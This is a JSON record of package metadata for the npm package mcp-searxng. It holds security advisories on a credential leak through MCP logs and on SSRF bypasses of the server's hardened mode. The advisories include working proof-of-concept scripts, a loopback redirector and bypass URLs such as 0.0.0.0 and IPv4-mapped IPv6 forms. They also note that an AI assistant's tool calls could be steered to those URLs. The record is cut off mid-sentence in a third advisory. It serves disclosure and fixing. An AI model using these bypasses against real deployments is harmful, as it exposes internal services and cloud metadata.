positories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"265342b209d930a49235ce8a078d94ca26d935fa","kind":"tag","published_at":"2025-04-17T02:23:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"77e3e6290238a4ad4f14fa6caa3079a800aff07d","kind":"tag","published_at":"2025-04-17T02:15:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"c23cd418ecccc7aacbd770b94388c180f33dbf1b","kind":"commit","published_at":"2025-04-17T01:19:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.1/manifests"}]},"repo_metadata_updated_at":"2026-10-16T16:47:31.959Z","dependent_packages_count":0,"downloads":50497,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":25.31525603473449,"dependent_packages_count":36.63385487456977,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":30.97455545465213},"purl":"pkg:npm/mcp-searxng","advisories":[{"uuid":"GSA_kwCzR0hTQS1oandoLXh2ZnctcXJ3as4ABk0p","url":"https://github.com/advisories/GHSA-hjwh-xvfw-qrwj","title":"SearXNG Basic Authentication Credentials Exposed Through MCP Logs and JSON-RPC Error Responses","description":"### Summary\n\nmcp-searxng version 1.11.0 exposes SearXNG Basic Authentication credentials embedded in the `SEARXNG_URL` environment variable.\n\nWhen the server starts in STDIO mode and an MCP client connects, the complete `SEARXNG_URL`, including its username and password, is sent to the client through an MCP `notifications/message` logging notification.\n\nAdditionally, when URL validation fails, the complete credential-bearing URL is included in the configuration error. This error is logged through MCP and returned to the client as a JSON-RPC error response.\n\nFor example, a value such as:\n\n```text\nhttp://username:password@searxng.example.com\n```\n\nis exposed without redaction.\n\nA connected MCP client or anyone with access to captured server logs may recover the SearXNG credentials and use them to access the configured SearXNG instance.\n\nThe issue was confirmed in:\n\n```text\nmcp-searxng 1.11.0\n```\n\nSuggested severity: **Medium**\n\n### Details\n\nmcp-searxng supports SearXNG Basic Authentication by embedding credentials in the URL userinfo component:\n\n```text\nhttps://username:password@searxng.example.com\n```\n\nThe project contains a redaction function named `redactSearxngInstanceUrl()`, but it is not used in several logging and error-handling paths.\n\n#### Startup console disclosure\n\nIn `src/index.ts:373-378`, the server retrieves the raw SearXNG URLs and writes them directly to stderr:\n\n```typescript\nconst searxngInstances = getSearxngInstances();\n\nif (searxngInstances.length \u003e 0) {\n  console.error(`🌐 SearXNG URLs: ${searxngInstances.join(\"; \")}`);\n}\n```\n\n`getSearxngInstances()` returns the unmodified environment-variable values.\n\nRelevant code in `src/searxng-instances.ts:25-38`:\n\n```typescript\nexport function parseSearxngUrls(\n  raw: string | undefined = process.env.SEARXNG_URL\n): string[] {\n  if (raw === undefined) {\n    return [];\n  }\n\n  return raw\n    .split(\";\")\n    .map((entry) =\u003e entry.trim())\n    .filter((entry) =\u003e entry !== \"\");\n}\n\nexport function getSearxngInstances(): string[] {\n  return parseSearxngUrls();\n}\n```\n\n#### MCP logging notification disclosure\n\nAfter the MCP client connects, `src/index.ts:388-393` sends the complete URL through the MCP logging interface:\n\n```typescript\nconst searxngInstances = getSearxngInstances();\n\nlogMessage(\n  mcpServer,\n  \"info\",\n  `SearXNG URLs: ${\n    searxngInstances.length \u003e 0\n      ? searxngInstances.join(\"; \")\n      : \"not configured\"\n  }`\n);\n```\n\n`logMessage()` passes this value to `sendLoggingMessage()` in `src/logging.ts:15-25`:\n\n```typescript\nmcpServer.sendLoggingMessage({\n  level,\n  data: notificationData\n});\n```\n\nAs a result, the connected MCP client receives a message containing the username and password:\n\n```json\n{\n  \"method\": \"notifications/message\",\n  \"params\": {\n    \"level\": \"info\",\n    \"data\": {\n      \"message\": \"SearXNG URLs: http://username:password@searxng.example.com\"\n    }\n  },\n  \"jsonrpc\": \"2.0\"\n}\n```\n\n#### Configuration error disclosure\n\nThe URL validation function includes the complete unredacted value in error messages.\n\nRelevant code in `src/searxng-instances.ts:44-52`:\n\n```typescript\nexport function validateSearxngInstanceUrl(\n  value: string\n): string | null {\n  try {\n    const url = new URL(value);\n\n    if (![\"http:\", \"https:\"].includes(url.protocol)) {\n      return `SEARXNG_URL invalid protocol for \"${value}\": ${url.protocol}`;\n    }\n  } catch {\n    return `SEARXNG_URL invalid format: ${value}`;\n  }\n\n  return null;\n}\n```\n\nThe validation error is aggregated by `validateEnvironment()` in `src/error-handler.ts:175-203`:\n\n```typescript\nconst validationError =\n  validateSearxngInstanceUrl(searxngUrl);\n\nif (validationError) {\n  issues.push(validationError);\n}\n```\n\nThe complete error is then thrown from `src/search.ts:689-693`:\n\n```typescript\nconst validationError = validateEnvironment();\n\nif (validationError) {\n  logMessage(mcpServer, \"error\", \"Configuration invalid\");\n  throw new MCPSearXNGError(validationError);\n}\n```\n\nThe tool handler in `src/index.ts:254-260` sends the error message and stack trace through MCP logging, then rethrows it:\n\n```typescript\nlogMessage(\n  mcpServer,\n  \"error\",\n  `Tool execution error: ${\n    error instanceof Error\n      ? error.message\n      : String(error)\n  }`,\n  {\n    tool: name,\n    args: args,\n    error:\n      error instanceof Error\n        ? error.stack\n        : String(error)\n  }\n);\n\nthrow error;\n```\n\nRethrowing the error causes the same unredacted credential-bearing URL to be returned in the JSON-RPC error response.\n\n#### Existing redaction function is not used\n\nThe project already contains a suitable redaction function in `src/searxng-instances.ts:57-69`:\n\n```typescript\nexport function redactSearxngInstanceUrl(\n  raw: string\n): string {\n  try {\n    const url = new URL(raw);\n\n    if (!url.username \u0026\u0026 !url.password) {\n      return raw;\n    }\n\n    url.username = \"\";\n    url.password = \"\";\n    return url.toString();\n  } catch {\n    return raw.replace(\n      /^([a-zA-Z][a-zA-Z0-9+.-]*:\\/\\/)[^/]*@/,\n      \"$1\"\n    );\n  }\n}\n```\n\nHowever, this function is not applied before startup logging, MCP logging, or configuration error construction.\n\nThe MCP manifest also marks `SEARXNG_URL` as non-secret in `.mcp/server.json:20-25`:\n\n```json\n{\n  \"name\": \"SEARXNG_URL\",\n  \"description\": \"URL of your SearXNG instance\",\n  \"isRequired\": true,\n  \"isSecret\": false,\n  \"format\": \"string\"\n}\n```\n\nBecause credentials may be embedded in this variable, it should be classified as a secret.\n\n### PoC\n\nThe following proof of concept uses fake credentials. A real SearXNG server is not required.\n\n#### Requirements\n\n```text\nNode.js 20 or newer\nnpm\nmcp-searxng 1.11.0 source code\n```\n\n#### Build the application\n\n```bash\nunzip mcp-searxng-main.zip\ncd mcp-searxng-main\n\nnpm ci\nnpm run build\n```\n\n#### Test 1: Credential disclosure through MCP logging\n\nCreate an MCP initialization request:\n\n```bash\ncat \u003e /tmp/mcp-init.jsonl \u003c\u003c'EOF'\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"credential-leak-poc\",\"version\":\"1.0.0\"}}}\nEOF\n```\n\nStart the server with fake credentials embedded in a valid HTTP URL:\n\n```bash\nSEARXNG_URL='http://MCP_POC_USER_7391:MCP_POC_PASS_7391@127.0.0.1:9' \\\ntimeout 8s node dist/cli.js \\\n\u003c /tmp/mcp-init.jsonl \\\n2\u003e\u00261 | tee credential-log-leak.txt\n```\n\nSearch the output for the credentials:\n\n```bash\ngrep -nE \\\n'MCP_POC_USER_7391|MCP_POC_PASS_7391' \\\ncredential-log-leak.txt\n```\n\n#### Observed result\n\nThe complete credential-bearing URL is exposed:\n\n```text\nSearXNG URLs: http://MCP_POC_USER_7391:MCP_POC_PASS_7391@127.0.0.1:9\n```\n\nIt is also delivered to the MCP client:\n\n```json\n{\n  \"method\": \"notifications/message\",\n  \"params\": {\n    \"level\": \"info\",\n    \"data\": {\n      \"message\": \"SearXNG URLs: http://MCP_POC_USER_7391:MCP_POC_PASS_7391@127.0.0.1:9\"\n    }\n  },\n  \"jsonrpc\": \"2.0\"\n}\n```\n\nThis confirms that a connected MCP client can recover the configured username and password without accessing the host environment.\n\n#### Test 2: Credential disclosure through JSON-RPC errors\n\nCreate initialization and tool-call requests:\n\n```bash\ncat \u003e /tmp/mcp-error-poc.jsonl \u003c\u003c'EOF'\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"credential-error-poc\",\"version\":\"1.0.0\"}}}\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"searxng_web_search\",\"arguments\":{\"query\":\"credential leak test\"}}}\nEOF\n```\n\nStart the server with a credential-bearing URL that uses an unsupported protocol:\n\n```bash\nSEARXNG_URL='ftp://MCP_POC_USER_7391:MCP_POC_PASS_7391@example.invalid' \\\ntimeout 8s node dist/cli.js \\\n\u003c /tmp/mcp-error-poc.jsonl \\\n2\u003e\u00261 | tee credential-error-leak.txt\n```\n\nSearch the response:\n\n```bash\ngrep -nE \\\n'MCP_POC_USER_7391|MCP_POC_PASS_7391' \\\ncredential-error-leak.txt\n```\n\n#### Observed result\n\nThe complete URL is exposed in the MCP logging notification:\n\n```text\nTool execution error: Configuration Issues: SEARXNG_URL invalid protocol for \"ftp://MCP_POC_USER_7391:MCP_POC_PASS_7391@example.invalid\": ftp:\n```\n\nIt is also returned directly in the JSON-RPC error:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"error\": {\n    \"code\": -32603,\n    \"message\": \"Configuration Issues: SEARXNG_URL invalid protocol for \\\"ftp://MCP_POC_USER_7391:MCP_POC_PASS_7391@example.invalid\\\": ftp:\"\n  }\n}\n```\n\nThe raw username and password are therefore exposed through both logging and protocol responses.\n\n### Impact\n\nThis is a sensitive credential disclosure vulnerability.\n\nThe following parties may obtain the credentials:\n\n1. A connected MCP client receiving logging notifications.\n2. A client capable of invoking a tool and receiving JSON-RPC errors.\n3. A user or process with access to captured stderr output.\n4. A centralized logging or monitoring system collecting application logs.\n5. Other users with access to shared log files or container logs.\n\nThe exposed credentials may allow an attacker to authenticate directly to the configured SearXNG instance.\n\nDepending on the SearXNG deployment and the permissions associated with the account, this may allow:\n\n1. Unauthorized use of a private SearXNG service.\n2. Access to functionality restricted through Basic Authentication.\n3. Consumption of private server resources.\n4. Exposure of information available only to authenticated users.\n5. Further account compromise where the credentials have been reused.\n\nThe default STDIO transport limits the exposure to the connected parent MCP client and local logging environment. However, MCP clients should not receive upstream service credentials, and the project security documentation explicitly treats credentials embedded in `SEARXNG_URL` as secrets that must be redacted.\n\n### Suggested mitigation\n\nApply `redactSearxngInstanceUrl()` before including any SearXNG URL in console or MCP logging:\n\n```typescript\nconst redactedInstances = getSearxngInstances()\n  .map(redactSearxngInstanceUrl);\n\nlogMessage(\n  mcpServer,\n  \"info\",\n  `SearXNG URLs: ${\n    redactedInstances.length \u003e 0\n      ? redactedInstances.join(\"; \")\n      : \"not configured\"\n  }`\n);\n```\n\nDo not include raw configuration values in validation errors. A generic error can be returned instead:\n\n```typescript\nreturn `SEARXNG_URL entry has an unsupported protocol: ${url.protocol}`;\n```\n\nFor malformed URLs:\n\n```typescript\nreturn \"SEARXNG_URL contains an invalid URL\";\n```\n\nThe following additional changes are recommended:\n\n1. Redact URLs before writing them to stderr.\n2. Redact secrets before sending MCP logging notifications.\n3. Avoid including raw environment-variable values in exceptions.\n4. Avoid returning detailed stack traces containing secrets to MCP clients.\n5. Mark `SEARXNG_URL` as secret in `.mcp/server.json`:\n\n```json\n\"isSecret\": true\n```\n\n6. Add regression tests that assert usernames and passwords never appear in:\n\n   * stderr output\n   * MCP logging notifications\n   * JSON-RPC error responses\n   * stack traces\n   * configuration resources","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-19T19:32:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-hjwh-xvfw-qrwj","https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.12.0","https://github.com/advisories/GHSA-hjwh-xvfw-qrwj"],"source_kind":"github","identifiers":["GHSA-hjwh-xvfw-qrwj"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-19T20:00:07.810Z","updated_at":"2026-10-14T10:02:05.778Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oandoLXh2ZnctcXJ3as4ABk0p","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oandoLXh2ZnctcXJ3as4ABk0p","packages":[{"ecosystem":"npm","package_name":"mcp-searxng","versions":[{"first_patched_version":"1.12.0","vulnerable_version_range":"\u003c 1.12.0"}],"purl":"pkg:npm/mcp-searxng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oandoLXh2ZnctcXJ3as4ABk0p/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cHBmLWg3NWgtNnBtNs4ABk0j","url":"https://github.com/advisories/GHSA-wppf-h75h-6pm6","title":"SearXNG MCP Server: Additional hardened-mode SSRF bypasses","description":"## Summary\n\n`mcp-searxng` has a hardened-mode URL-reading feature intended to prevent `web_url_read` from reaching private or internal network resources.\n\nPR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.\n\nHowever, several other hardened-mode SSRF bypasses still appear to remain:\n\n1. Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.\n2. `0.0.0.0` is not treated as an internal/special address.\n3. IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.\n\nWith hardened mode enabled and private URLs not explicitly allowed, `web_url_read` was still able to fetch and return content from a local loopback sentinel service in all three cases.\n\n## Tested configuration\n\n```bash\nMCP_HTTP_HARDEN=true\nMCP_HTTP_ALLOW_PRIVATE_URLS unset\n```\n\nThe MCP server was driven over stdio.\n\nThe test target was a harmless internal sentinel HTTP service bound to:\n\n```text\n127.0.0.1:6789\n```\n\nThe sentinel response contained:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n## Relationship to PR #79\n\nI tested PR #79 locally:\n\n- PR: `fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79`\n- PR commit tested: `e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4`\n- Base issue class: CWE-918 / SSRF in `web_url_read`\n- Hardened mode: enabled\n\nObserved results:\n\n```text\nCase                                         Result on PR #79\n-------------------------------------------------------------\nDNS hostname resolving to 127.0.0.1          blocked\n0.0.0.0                                      BYPASS\n[::ffff:127.0.0.1]                           BYPASS\nredirect from non-private IP to 127.0.0.1    BYPASS\n```\n\nSo PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.\n\n## Root cause\n\n### 1. Redirect targets are not re-validated\n\nThe URL policy appears to be applied to the initial URL, but redirect targets are followed by `fetch()` without applying the same policy to each hop.\n\nA non-private attacker-controlled first-hop URL can respond with:\n\n```http\n302 Location: http://127.0.0.1:6789/secret\n```\n\nThe request is then followed to loopback.\n\nThis is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to `127.0.0.1`.\n\n### 2. `0.0.0.0` is not treated as internal\n\n`0.0.0.0` is not currently blocked by the private IPv4 predicate. On Linux, connecting to `0.0.0.0:\u003cport\u003e` can reach a local service bound on loopback or wildcard interfaces.\n\nIn my test, this URL returned the sentinel from the local loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\n```\n\n### 3. IPv4-mapped IPv6 canonicalization bypass\n\nThe current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:\n\n```text\n::ffff:127.0.0.1\n```\n\nHowever, Node's WHATWG URL parser canonicalizes:\n\n```js\nnew URL(\"http://[::ffff:127.0.0.1]/\").hostname\n```\n\nto:\n\n```text\n[::ffff:7f00:1]\n```\n\nAs a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.\n\nIn my test, this URL returned the loopback sentinel:\n\n```text\nhttp://[::ffff:127.0.0.1]:6789/secret\n```\n\n## Impact\n\nThis is a hardened-mode SSRF bypass.\n\nThe sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.\n\nIn real deployments, the same class of issue could allow `web_url_read` to reach:\n\n- local admin panels bound to loopback;\n- Redis, Elasticsearch, or other local HTTP-like services;\n- internal HTTP APIs on private networks;\n- service mesh endpoints;\n- cloud metadata endpoints, depending on routing and environment.\n\nThis is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger `web_url_read` with one of these bypass URLs.\n\n## Proof of Concept\n\n### 1. Build the PR #79 branch\n\n```bash\ncd /home/exouser/Desktop\nmkdir -p searxng_pr79_test\ncd searxng_pr79_test\n\ngit clone --depth 1 \\\n  -b fix/cwe918-url-reader-ssrf-4676 \\\n  https://github.com/sebastiondev/mcp-searxng.git pr79\n\ncd pr79\ngit rev-parse HEAD\n\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/index.js\n```\n\nExpected PR commit:\n\n```text\ne55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4\n```\n\n### 2. Start an internal sentinel service\n\nThis service represents an internal-only HTTP service reachable from the MCP server host.\n\n```bash\ncat \u003e /tmp/searxng_sentinel_server.py \u003c\u003c'PY'\n#!/usr/bin/env python3\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nPORT = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 6789\nSENTINEL = b\"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = b\"\u003chtml\u003e\u003cbody\u003e\u003ch1\u003einternal\u003c/h1\u003e\u003cp\u003e\" + SENTINEL + b\"\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e\"\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        sys.stderr.write(\"[sentinel %s] %s\\n\" % (PORT, fmt % args))\n\ndef serve_v4():\n    HTTPServer((\"127.0.0.1\", PORT), H).serve_forever()\n\ndef serve_v6():\n    try:\n        import socket\n        class HTTPServerV6(HTTPServer):\n            address_family = socket.AF_INET6\n        HTTPServerV6((\"::1\", PORT), H).serve_forever()\n    except Exception as e:\n        sys.stderr.write(f\"[sentinel] IPv6 listener failed: {e}\\n\")\n\nthreading.Thread(target=serve_v4, daemon=True).start()\nserve_v6()\nPY\n\nfuser -k 6789/tcp 6790/tcp 2\u003e/dev/null || true\nnohup python3 /tmp/searxng_sentinel_server.py 6789 \u003e/tmp/searxng_sentinel.log 2\u003e\u00261 \u0026\nsleep 1\n\ncurl -sS http://127.0.0.1:6789/secret\n```\n\nExpected output contains:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n### 3. PoC A: `0.0.0.0`\n\n```bash\ncat \u003e /tmp/poc_0_0_0_0.py \u003c\u003c'PY'\n#!/usr/bin/env python3\nimport json\nimport os\nimport subprocess\nimport time\nimport sys\nfrom pathlib import Path\n\nREPO = Path(\"/home/exouser/Desktop/searxng_pr79_test/pr79\")\nSERVER = REPO / \"dist\" / \"index.js\"\nSENTINEL = \"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nENV = {\n    \"MCP_HTTP_HARDEN\": \"true\",\n    \"MCP_HTTP_AUTH_TOKEN\": \"poc-token\",\n    \"MCP_HTTP_ALLOWED_ORIGINS\": \"http://localhost:9999\",\n}\n\ndef send(p, o):\n    p.stdin.write((json.dumps(o) + \"\\n\").encode())\n    p.stdin.flush()\n\ndef recv(p, want_id, timeout=20):\n    end = time.time() + timeout\n    while time.time() \u003c end:\n        line = p.stdout.readline()\n        if not line:\n            time.sleep(0.05)\n            continue\n        try:\n            m = json.loads(line.decode())\n        except Exception:\n            continue\n        if m.get(\"id\") == want_id:\n            return m\n    raise TimeoutError()\n\ndef main():\n    url = \"http://0.0.0.0:6789/secret\"\n    print(f\"[poc] hardened-mode read_url url = {url!r}\")\n\n    p = subprocess.Popen(\n        [\"node\", str(SERVER)],\n        stdin=subprocess.PIPE,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        cwd=str(REPO),\n        env={**os.environ, **ENV},\n    )\n\n    try:\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"poc\", \"version\": \"0\"}\n            }\n        })\n        recv(p, 1)\n\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"method\": \"notifications/initialized\",\n            \"params\": {}\n        })\n\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 2,\n            \"method\": \"tools/call\",\n            \"params\": {\n                \"name\": \"web_url_read\",\n                \"arguments\": {\n                    \"url\": url,\n                    \"maxLength\": 400\n                }\n            }\n        })\n\n        r = recv(p, 2)\n    finally:\n        try:\n            p.terminate()\n            p.wait(timeout=3)\n        except Exception:\n            p.kill()\n\n    text = json.dumps(r).replace(\"\\\\\\\\_\", \"_\").replace(\"\\\\_\", \"_\")\n    if SENTINEL in text:\n        print(\"[poc] RESULT: BYPASS — sentinel returned\")\n        try:\n            print(\"[poc] tool returned:\", repr(r[\"result\"][\"content\"][0][\"text\"][:200]))\n        except Exception:\n            pass\n        sys.exit(0)\n\n    print(\"[poc] RESULT: blocked / failed\")\n    print(json.dumps(r)[:500])\n    sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\nPY\n\npython3 /tmp/poc_0_0_0_0.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### 4. PoC B: IPv4-mapped IPv6\n\n```bash\nsed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \\\n  /tmp/poc_0_0_0_0.py \u003e /tmp/poc_ipv4_mapped_ipv6.py\n\npython3 /tmp/poc_ipv4_mapped_ipv6.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### 5. PoC C: redirect from a non-private first-hop address to loopback\n\nThis uses `198.51.100.1` as a safe local stand-in for a non-private attacker-controlled first-hop address.\n\n```bash\nsudo ip addr add 198.51.100.1/32 dev lo\n\ncat \u003e /tmp/redirector_public.py \u003c\u003c'PY'\n#!/usr/bin/env python3\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:6789/secret\")\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n    def log_message(self, *args, **kwargs):\n        pass\n\nHTTPServer((\"198.51.100.1\", 6790), H).serve_forever()\nPY\n\nfuser -k 6790/tcp 2\u003e/dev/null || true\nnohup python3 /tmp/redirector_public.py \u003e/tmp/searxng_redirector_public.log 2\u003e\u00261 \u0026\nsleep 1\n\ncurl -sSL http://198.51.100.1:6790/jump\n```\n\nThe `curl` sanity check should return the internal sentinel.\n\nNow run the MCP request:\n\n```bash\nsed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \\\n  /tmp/poc_0_0_0_0.py \u003e /tmp/poc_redirect_public_to_loopback.py\n\npython3 /tmp/poc_redirect_public_to_loopback.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### Cleanup\n\n```bash\nfuser -k 6789/tcp 6790/tcp 2\u003e/dev/null || true\nsudo ip addr del 198.51.100.1/32 dev lo 2\u003e/dev/null || true\n```\n\n## Reproduction note\n\n`NodeHtmlMarkdown` escapes `_` to `\\_`, so the sentinel may appear in the MCP response as:\n\n```text\nINTERNAL\\_SECRET\\_DATA\\_\\_mcp\\_searxng\\_ssrf\\_path2\n```\n\nWhen grepping or matching the response, either match against the escaped form or normalize `\\_` back to `_`.\n\n## Expected behavior\n\nWhen hardened mode is enabled and private URLs are not explicitly allowed, `web_url_read` should not be able to fetch loopback or internal resources through:\n\n- direct special-address literals;\n- IPv4-mapped IPv6 literals;\n- redirect chains;\n- hostnames that resolve to private or internal addresses.\n\n## Actual behavior\n\nWith hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\nhttp://[::ffff:127.0.0.1]:6789/secret\nhttp://198.51.100.1:6790/jump  -\u003e 302 Location: http://127.0.0.1:6789/secret\n```\n\n## Suggested fix\n\nA complete fix likely needs more than a connect-time DNS lookup guard.\n\nSuggested changes:\n\n- Re-validate every redirect hop. One option is to use `redirect: \"manual\"` and apply the same URL policy to each `Location` before following it.\n- Treat `0.0.0.0/8` and other IANA special-purpose ranges as internal/non-public.\n- Handle IPv4-mapped IPv6 after canonicalization, including forms such as `[::ffff:7f00:1]`.\n- Apply private-address checks to IP literals directly, not only through DNS lookup hooks.\n- Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.\n- Add regression tests for:\n  - redirect to `127.0.0.1`;\n  - `0.0.0.0`;\n  - `[::ffff:127.0.0.1]`;\n  - hostname resolving to `127.0.0.1`;\n  - decimal IPv4 normalization remaining blocked.\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-19T19:23:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","references":["https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-wppf-h75h-6pm6","https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1","https://github.com/advisories/GHSA-wppf-h75h-6pm6"],"source_kind":"github","identifiers":["GHSA-wppf-h75h-6pm6","CVE-2026-54689"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-19T20:00:07.810Z","updated_at":"2026-10-14T10:02:05.780Z","epss_percentage":0.0019,"epss_percentile":0.07625,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cHBmLWg3NWgtNnBtNs4ABk0j","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cHBmLWg3NWgtNnBtNs4ABk0j","packages":[{"ecosystem":"npm","package_name":"mcp-searxng","versions":[{"first_patched_version":"1.2.1","vulnerable_version_range":"\u003c 1.2.1"}],"purl":"pkg:npm/mcp-searxng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cHBmLWg3NWgtNnBtNs4ABk0j/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xODdmLXFjMnItMmd3NM4ABk0i","url":"https://github.com/advisories/GHSA-q87f-qc2r-2gw4","title":"SearXNG MCP Server is Vulnerable to SSRF in web_url_read: the internal-address guard is disabled by default (MCP_HTTP_HARDEN off)","description":"Ref: https://github.com/ihor-sokoliuk/mcp-searxng/issues/87#issuecomment-4645453694\n\n\n### Summary\nThe web_url_read tool fetches a caller-supplied URL server-side and converts it to markdown. An SSRF guard (assertUrlAllowed, which blocks private/loopback/metadata addresses) exists but runs only when MCP_HTTP_HARDEN=true, which is off by default. So in the default configuration there is no internal-address filtering, and an attacker who can influence the URL can make the server fetch internal services and cloud metadata and return their 